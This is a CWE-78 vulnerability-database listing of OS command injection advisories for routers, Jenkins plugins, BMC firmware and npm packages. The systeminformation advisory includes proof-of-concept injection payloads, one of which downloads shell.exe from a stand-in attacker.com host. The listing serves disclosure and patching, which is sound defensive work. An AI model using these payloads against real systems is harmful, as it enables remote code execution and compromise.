CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8265 vulnerabilities reference this CWE, most recent first.
GHSA-WP43-6FH8-Q2QR
Vulnerability from github – Published: 2026-06-04 09:30 – Updated: 2026-06-04 09:30There is a vulnerability in the Supermicro BMC SMTP service at Supermicro AS-2115HS-TNR. An attacker may obtain administrator privileges and inject specially crafted characters into the SMTP service configuration. This may cause the underlying system to execute unintended commands during process invocation.
Potential impact includes denial-of-service attacks, arbitrary code execution, or permanent compromise of the controller.
{
"affected": [],
"aliases": [
"CVE-2026-3820"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T09:16:28Z",
"severity": "HIGH"
},
"details": "There is a vulnerability in the Supermicro BMC SMTP service at Supermicro AS-2115HS-TNR.\u00a0\nAn attacker may obtain administrator privileges and inject specially crafted characters into the SMTP service configuration. This may cause the underlying system to execute unintended commands during process invocation.\n\nPotential impact includes denial-of-service attacks, arbitrary code execution, or permanent compromise of the controller.",
"id": "GHSA-wp43-6fh8-q2qr",
"modified": "2026-06-04T09:30:35Z",
"published": "2026-06-04T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3820"
},
{
"type": "WEB",
"url": "https://www.supermicro.com/en/support/security_BMC_IPMI_Jun_2026"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WP5X-HRRW-6R4G
Vulnerability from github – Published: 2026-06-24 15:31 – Updated: 2026-06-24 15:31Jenkins Git client Plugin 6.6.0 and earlier does not correctly escape the workspace directory name when it is embedded into a generated SSH wrapper script, allowing attackers able to control the name of a build's working directory to execute arbitrary operating system commands on the agent.
{
"affected": [],
"aliases": [
"CVE-2026-57282"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-24T14:17:34Z",
"severity": "MODERATE"
},
"details": "Jenkins Git client Plugin 6.6.0 and earlier does not correctly escape the workspace directory name when it is embedded into a generated SSH wrapper script, allowing attackers able to control the name of a build\u0027s working directory to execute arbitrary operating system commands on the agent.",
"id": "GHSA-wp5x-hrrw-6r4g",
"modified": "2026-06-24T15:31:47Z",
"published": "2026-06-24T15:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57282"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-06-24/#SECURITY-3723"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WP79-CPV2-9G7M
Vulnerability from github – Published: 2022-05-14 03:45 – Updated: 2024-01-30 22:38Users with permission to create or configure agents in Jenkins 1.37 and earlier could configure an EC2 agent to run arbitrary shell commands on the master node whenever the agent was supposed to be launched. Configuration of these agents now requires the 'Run Scripts' permission typically only granted to administrators.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.37"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:ec2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.38"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-1000502"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T22:38:21Z",
"nvd_published_at": "2018-01-24T23:29:00Z",
"severity": "HIGH"
},
"details": "Users with permission to create or configure agents in Jenkins 1.37 and earlier could configure an EC2 agent to run arbitrary shell commands on the master node whenever the agent was supposed to be launched. Configuration of these agents now requires the \u0027Run Scripts\u0027 permission typically only granted to administrators.",
"id": "GHSA-wp79-cpv2-9g7m",
"modified": "2024-01-30T22:38:21Z",
"published": "2022-05-14T03:45:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000502"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2017-12-06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary shell command execution in Jenkins EC2 Plugin"
}
GHSA-WP7F-X92C-RF9X
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44Command Injection vulnerability in app_data_center on Shenzhen Tenda Ac9 US_AC9V1.0BR_V15.03.05.14_multi_TD01, Ac9 ac9_kf_V15.03.05.19(6318_)cn, Ac15 US_AC15V1.0BR_V15.03.05.18_multi_TD01, Ac15 US_AC15V1.0BR_V15.03.05.19_multi_TD01, Ac18 US_AC18V1.0BR_V15.03.05.05_multi_TD01, and Ac18 ac18_kf_V15.03.05.19(6318)_cn devices allows remote unauthenticated attackers to execute arbitrary OS commands via a crafted cgi-bin/luci/usbeject?dev_name= GET request from the LAN. This occurs because the "sub_A6E8 usbeject_process_entry" function executes a system function with untrusted input.
{
"affected": [],
"aliases": [
"CVE-2017-16923"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-21T14:29:00Z",
"severity": "HIGH"
},
"details": "Command Injection vulnerability in app_data_center on Shenzhen Tenda Ac9 US_AC9V1.0BR_V15.03.05.14_multi_TD01, Ac9 ac9_kf_V15.03.05.19(6318_)_cn, Ac15 US_AC15V1.0BR_V15.03.05.18_multi_TD01, Ac15 US_AC15V1.0BR_V15.03.05.19_multi_TD01, Ac18 US_AC18V1.0BR_V15.03.05.05_multi_TD01, and Ac18 ac18_kf_V15.03.05.19(6318_)_cn devices allows remote unauthenticated attackers to execute arbitrary OS commands via a crafted cgi-bin/luci/usbeject?dev_name= GET request from the LAN. This occurs because the \"sub_A6E8 usbeject_process_entry\" function executes a system function with untrusted input.",
"id": "GHSA-wp7f-x92c-rf9x",
"modified": "2022-05-13T01:44:13Z",
"published": "2022-05-13T01:44:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16923"
},
{
"type": "WEB",
"url": "https://github.com/Iolop/Poc/tree/master/Router/Tenda"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WP9G-P59F-6FMW
Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2025-01-16 18:31TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain an OS command injection vulnerability via the "eHour" parameter in setWiFiScheduleCfg.
{
"affected": [],
"aliases": [
"CVE-2024-57021"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T17:15:17Z",
"severity": "CRITICAL"
},
"details": "TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain an OS command injection vulnerability via the \"eHour\" parameter in setWiFiScheduleCfg.",
"id": "GHSA-wp9g-p59f-6fmw",
"modified": "2025-01-16T18:31:00Z",
"published": "2025-01-15T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57021"
},
{
"type": "WEB",
"url": "https://github.com/tiger5671/Vulnerabilities/blob/main/TOTOLINK%20X5000R/setWiFiScheduleCfg/setWiFiScheduleCfg.md"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WPCM-3JPV-H3X5
Vulnerability from github – Published: 2025-01-09 09:31 – Updated: 2025-01-09 15:31Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability allows OS Command Injection as root This issue affects Iocharger firmware for AC model chargers before version 24120701
Likelihood: Moderate – The binary does not seem to be used by the web interface, so it might be more difficult to find. It seems to be largely the same binary as used by the Iocharger Pedestal charging station, however. The attacker will also need a (low privilege) account to gain access to the binary, or convince a user with such access to execute a crafted HTTP request.
Impact: Critical – The attacker has full control over the charging station as the root user, and can arbitrarily add, modify and delete files and services.
{
"affected": [],
"aliases": [
"CVE-2024-43652"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-09T08:15:27Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability allows OS Command Injection as root\nThis issue affects Iocharger firmware for AC model chargers before version 24120701\n\nLikelihood: Moderate \u2013 The \u003credacted\u003e binary does not seem to be used by the web interface, so it might be more difficult to find. It seems to be largely the same binary as used by the Iocharger Pedestal charging station, however. The attacker will also need a (low privilege) account to gain access to the \u003credacted\u003e binary, or convince a user with such access to execute a crafted HTTP request.\n\nImpact: Critical \u2013 The attacker has full control over the charging station as the root user, and can arbitrarily add, modify and delete\nfiles and services.",
"id": "GHSA-wpcm-3jpv-h3x5",
"modified": "2025-01-09T15:31:51Z",
"published": "2025-01-09T09:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43652"
},
{
"type": "WEB",
"url": "https://csirt.divd.nl/CVE-2024-43652"
},
{
"type": "WEB",
"url": "https://csirt.divd.nl/DIVD-2024-00035"
},
{
"type": "WEB",
"url": "https://iocharger.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:D/RE:M/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WPGP-2472-RMF9
Vulnerability from github – Published: 2023-06-29 21:30 – Updated: 2024-04-04 05:18An issue was discovered in Weblib Ucopia before 6.0.13. OS Command Injection injection can occur, related to chroot.
{
"affected": [],
"aliases": [
"CVE-2022-44720"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-29T20:15:09Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Weblib Ucopia before 6.0.13. OS Command Injection injection can occur, related to chroot.",
"id": "GHSA-wpgp-2472-rmf9",
"modified": "2024-04-04T05:18:16Z",
"published": "2023-06-29T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44720"
},
{
"type": "WEB",
"url": "https://www.synacktiv.com/sites/default/files/2023-06/synacktiv-ucopia-multiple-vulnerabilities-2022.pdf"
},
{
"type": "WEB",
"url": "https://www.ucopia.com/en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WPH3-44RJ-92PR
Vulnerability from github – Published: 2021-06-16 17:04 – Updated: 2022-08-11 00:02Impact
We recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration.
Patches
The issues were addressed in our last release, 2.1.59.
Workarounds
If you can't update to 2.1.59, make sure your connector is not exposed without authentication.
Reference
Further technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.
For more information
If you have any questions or comments about this advisory, you can contact: - The original reporters, by sending an email to vulnerability.research@sonarsource.com; - The maintainers, by opening an issue on this repository.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "studio-42/elfinder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32682"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-78",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-15T21:01:45Z",
"nvd_published_at": "2021-06-14T17:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nWe recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration. \n\n### Patches\n\nThe issues were addressed in our last release, 2.1.59. \n\n### Workarounds\n\nIf you can\u0027t update to 2.1.59, make sure your connector is not exposed without authentication.\n\n### Reference\n\nFurther technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n - The original reporters, by sending an email to vulnerability.research@sonarsource.com;\n - The maintainers, by opening an issue on this repository.",
"id": "GHSA-wph3-44rj-92pr",
"modified": "2022-08-11T00:02:01Z",
"published": "2021-06-16T17:04:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-qm58-cvvm-c5qr"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-wph3-44rj-92pr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32682"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17"
},
{
"type": "WEB",
"url": "https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities"
},
{
"type": "PACKAGE",
"url": "https://github.com/Studio-42/elFinder"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/164173/elFinder-Archive-Command-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "elFinder before 2.1.59 contains multiple vulnerabilities leading to RCE"
}
GHSA-WPHJ-FX3Q-84CH
Vulnerability from github – Published: 2025-12-16 22:37 – Updated: 2025-12-16 22:37Summary
The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.
Affected Platforms: Windows only
CVSS Breakdown:
- Attack Vector (AV:N): Network - if used in a web application/API
- Attack Complexity (AC:H): High - requires application to pass user input to fsSize()
- Privileges Required (PR:N): None - no authentication required at library level
- User Interaction (UI:N): None
- Scope (S:U): Unchanged - executes within Node.js process context
- Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited
Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to
fsSize(), it is not vulnerable.
Details
Vulnerable Code Location
File: lib/filesystem.js, Line 197
if (_windows) {
try {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The drive parameter is concatenated directly into the PowerShell command string without any sanitization.
Why This Is a Vulnerability
This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():
| File | Line | Function | Sanitization |
|---|---|---|---|
lib/processes.js |
141 | services() |
✅ util.sanitizeShellString(srv) |
lib/processes.js |
1006 | processLoad() |
✅ util.sanitizeShellString(proc) |
lib/network.js |
1253 | networkStats() |
✅ util.sanitizeShellString(iface) |
lib/docker.js |
472 | dockerContainerStats() |
✅ util.sanitizeShellString(containerIDs, true) |
lib/filesystem.js |
197 | fsSize() |
❌ No sanitization |
The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.
PoC
Attack Scenario
An application exposes disk information via an API and passes user input to si.fsSize():
// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');
http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const drive = parsedUrl.query.drive; // User-controlled input
// VULNERABLE: User input passed directly to fsSize()
const diskInfo = await si.fsSize(drive);
res.end(JSON.stringify(diskInfo));
}).listen(3000);
Exploitation
Normal Request:
GET /api/disk?drive=C:
Malicious Request (Command Injection):
GET /api/disk?drive=C:;%20whoami%20%23
Command Construction Demonstration
The following demonstrates how commands are constructed with malicious input:
Normal usage:
Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
With injection payload C:; whoami #:
Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
↑ ↑
semicolon terminates # comments out rest
first command
PowerShell will execute:
1. Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command)
2. whoami (injected command)
3. Everything after # is commented out
PoC Script
/**
* Command Injection PoC - systeminformation fsSize()
*
* Run with: node poc.js
* Requires: npm install systeminformation
*/
const os = require('os');
// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
return cmd;
}
// Test payloads
const payloads = [
{ name: 'Normal', input: 'C:' },
{ name: 'Command Execution', input: 'C:; whoami #' },
{ name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
{ name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];
console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);
payloads.forEach(p => {
console.log(`[${p.name}]`);
console.log(` Input: ${p.input}`);
console.log(` Command: ${simulateVulnerableCommand(p.input)}\n`);
});
PoC Output
=== Command Injection PoC ===
Platform: win32
Note: Actual exploitation requires Windows
[Normal]
Input: C:
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
[Command Execution]
Input: C:; whoami #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
[Data Exfiltration]
Input: C:; Get-Process | Out-File C:\temp\procs.txt #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl
[Remote Payload]
Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl
As shown, the attacker's commands are injected directly into the PowerShell command string.
Impact
Who Is Affected?
- Applications running
systeminformationon Windows that pass user-controlled input tofsSize(drive) - Web applications, APIs, or CLI tools that accept drive letters from users
- Monitoring dashboards that allow users to specify which drives to query
Potential Attack Scenarios
- Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges
- Data Exfiltration - Read sensitive files and exfiltrate data
- Privilege Escalation - If Node.js runs with elevated privileges
- Lateral Movement - Use the compromised system to attack internal network
- Ransomware Deployment - Download and execute malicious payloads
Recommended Fix
Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:
if (_windows) {
try {
+ const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';
- const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
+ const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The true parameter enables strict mode which removes additional characters like spaces and parentheses.
systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "systeminformation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.27.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68154"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T22:37:23Z",
"nvd_published_at": "2025-12-16T19:16:00Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.\n\n**Affected Platforms:** Windows only \n\n**CVSS Breakdown:**\n- **Attack Vector (AV:N):** Network - if used in a web application/API\n- **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()`\n- **Privileges Required (PR:N):** None - no authentication required at library level\n- **User Interaction (UI:N):** None\n- **Scope (S:U):** Unchanged - executes within Node.js process context\n- **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited\n\n\u003e **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable.\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `lib/filesystem.js`, **Line 197**\n\n```javascript\nif (_windows) {\n try {\n const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? \u0027| where -property Caption -eq \u0027 + drive : \u0027\u0027} | fl`;\n util.powerShell(cmd).then((stdout, error) =\u003e {\n```\n\nThe `drive` parameter is concatenated directly into the PowerShell command string without any sanitization.\n\n### Why This Is a Vulnerability\n\nThis is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using `util.sanitizeShellString()`:\n\n| File | Line | Function | Sanitization |\n|------|------|----------|--------------|\n| `lib/processes.js` | 141 | `services()` | \u2705 `util.sanitizeShellString(srv)` |\n| `lib/processes.js` | 1006 | `processLoad()` | \u2705 `util.sanitizeShellString(proc)` |\n| `lib/network.js` | 1253 | `networkStats()` | \u2705 `util.sanitizeShellString(iface)` |\n| `lib/docker.js` | 472 | `dockerContainerStats()` | \u2705 `util.sanitizeShellString(containerIDs, true)` |\n| `lib/filesystem.js` | 197 | `fsSize()` | \u274c **No sanitization** |\n\nThe `sanitizeShellString()` function (defined at `lib/util.js:731`) removes dangerous characters like `;`, `\u0026`, `|`, `$`, `` ` ``, `#`, etc., which would prevent command injection.\n\n---\n\n## PoC\n\n### Attack Scenario\n\nAn application exposes disk information via an API and passes user input to `si.fsSize()`:\n\n```javascript\n// Vulnerable application example\nconst si = require(\u0027systeminformation\u0027);\nconst http = require(\u0027http\u0027);\nconst url = require(\u0027url\u0027);\n\nhttp.createServer(async (req, res) =\u003e {\n const parsedUrl = url.parse(req.url, true);\n const drive = parsedUrl.query.drive; // User-controlled input\n \n // VULNERABLE: User input passed directly to fsSize()\n const diskInfo = await si.fsSize(drive);\n \n res.end(JSON.stringify(diskInfo));\n}).listen(3000);\n```\n\n### Exploitation\n\n**Normal Request:**\n```\nGET /api/disk?drive=C:\n```\n\n**Malicious Request (Command Injection):**\n```\nGET /api/disk?drive=C:;%20whoami%20%23\n```\n\n### Command Construction Demonstration\n\nThe following demonstrates how commands are constructed with malicious input:\n\n**Normal usage:**\n```\nInput: \"C:\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n```\n\n**With injection payload `C:; whoami #`:**\n```\nInput: \"C:; whoami #\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n \u2191 \u2191\n semicolon terminates # comments out rest\n first command\n```\n\nPowerShell will execute:\n1. `Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:` (original command)\n2. `whoami` (injected command)\n3. Everything after `#` is commented out\n\n### PoC Script\n\n```javascript\n/**\n * Command Injection PoC - systeminformation fsSize()\n * \n * Run with: node poc.js\n * Requires: npm install systeminformation\n */\n\nconst os = require(\u0027os\u0027);\n\n// Simulates the vulnerable command construction from filesystem.js:197\nfunction simulateVulnerableCommand(drive) {\n const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? \u0027| where -property Caption -eq \u0027 + drive : \u0027\u0027} | fl`;\n return cmd;\n}\n\n// Test payloads\nconst payloads = [\n { name: \u0027Normal\u0027, input: \u0027C:\u0027 },\n { name: \u0027Command Execution\u0027, input: \u0027C:; whoami #\u0027 },\n { name: \u0027Data Exfiltration\u0027, input: \u0027C:; Get-Process | Out-File C:\\\\temp\\\\procs.txt #\u0027 },\n { name: \u0027Remote Payload\u0027, input: \u0027C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\\\temp\\\\shell.exe #\u0027 },\n];\n\nconsole.log(\u0027=== Command Injection PoC ===\\n\u0027);\nconsole.log(`Platform: ${os.platform()}`);\nconsole.log(`Note: Actual exploitation requires Windows\\n`);\n\npayloads.forEach(p =\u003e {\n console.log(`[${p.name}]`);\n console.log(` Input: ${p.input}`);\n console.log(` Command: ${simulateVulnerableCommand(p.input)}\\n`);\n});\n```\n\n### PoC Output\n\n```\n=== Command Injection PoC ===\n\nPlatform: win32\nNote: Actual exploitation requires Windows\n\n[Normal]\n Input: C:\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n\n[Command Execution]\n Input: C:; whoami #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n\n[Data Exfiltration]\n Input: C:; Get-Process | Out-File C:\\temp\\procs.txt #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\\temp\\procs.txt # | fl\n\n[Remote Payload]\n Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe # | fl\n```\n\nAs shown, the attacker\u0027s commands are injected directly into the PowerShell command string.\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- Applications running `systeminformation` on **Windows** that pass user-controlled input to `fsSize(drive)`\n- Web applications, APIs, or CLI tools that accept drive letters from users\n- Monitoring dashboards that allow users to specify which drives to query\n\n### Potential Attack Scenarios\n\n1. **Remote Code Execution (RCE)** - Execute arbitrary commands with Node.js process privileges\n2. **Data Exfiltration** - Read sensitive files and exfiltrate data\n3. **Privilege Escalation** - If Node.js runs with elevated privileges\n4. **Lateral Movement** - Use the compromised system to attack internal network\n5. **Ransomware Deployment** - Download and execute malicious payloads\n\n---\n\n## Recommended Fix\n\nApply `util.sanitizeShellString()` to the `drive` parameter, consistent with other functions in the codebase:\n\n```diff\n if (_windows) {\n try {\n+ const driveSanitized = drive ? util.sanitizeShellString(drive, true) : \u0027\u0027;\n- const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? \u0027| where -property Caption -eq \u0027 + drive : \u0027\u0027} | fl`;\n+ const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? \u0027| where -property Caption -eq \u0027 + driveSanitized : \u0027\u0027} | fl`;\n util.powerShell(cmd).then((stdout, error) =\u003e {\n```\n\nThe `true` parameter enables strict mode which removes additional characters like spaces and parentheses.\n\n---\n\n`systeminformation` thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.",
"id": "GHSA-wphj-fx3q-84ch",
"modified": "2025-12-16T22:37:23Z",
"published": "2025-12-16T22:37:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-wphj-fx3q-84ch"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68154"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/commit/c52f9fd07fef42d2d8e8c66f75b42178da701c68"
},
{
"type": "PACKAGE",
"url": "https://github.com/sebhildebrandt/systeminformation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "systeminformation has a Command Injection vulnerability in fsSize() function on Windows"
}
GHSA-WPPQ-8VC8-2347
